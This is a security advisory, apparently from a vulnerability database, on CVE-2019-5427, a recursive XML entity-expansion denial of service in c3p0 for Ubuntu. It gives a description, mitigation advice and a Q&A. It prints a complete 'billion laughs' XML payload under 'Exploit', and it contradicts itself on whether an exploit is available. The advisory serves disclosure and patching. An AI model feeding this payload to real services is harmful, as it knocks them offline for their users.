Risk | Medium |
Patch available | YES |
Number of vulnerabilities | 1 |
CVE-ID | CVE-2019-5427 |
CWE-ID | CWE-20 |
Exploitation vector | Network |
Public exploit | Public exploit code for vulnerability #1 is available. |
Vulnerable software Subscribe |
Ubuntu Operating systems & Components / Operating system libc3p0-java (Ubuntu package) Operating systems & Components / Operating system package or component |
Vendor | Canonical Ltd. |
Security Bulletin
This security bulletin contains one medium risk vulnerability.
EUVDB-ID: #VU18785
Risk: Medium
CVSSv3.1: 6.7 [CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C]
CVE-ID: CVE-2019-5427
CWE-ID:
CWE-20 - Improper input validation
Exploit availability: No
DescriptionThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.
The vulnerability exists due to insufficient validation of user-supplied input when processing XML files within the c3p0/src/java/com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.java
. A remote attacker can create a specially crafted XML file, pass it to the affected application and trigger recursive entity expansion when loading configuration. This results in denial of service (DoS) attack aka billion laughs attack.
Exploit:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
Mitigation
Update the affected package c3p0 to the latest version.
Vulnerable software versionsUbuntu: 18.04 - 21.10
libc3p0-java (Ubuntu package): before 0.9.1.2-10ubuntu0.21.10.1
External linkshttp://ubuntu.com/security/notices/USN-5293-1
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.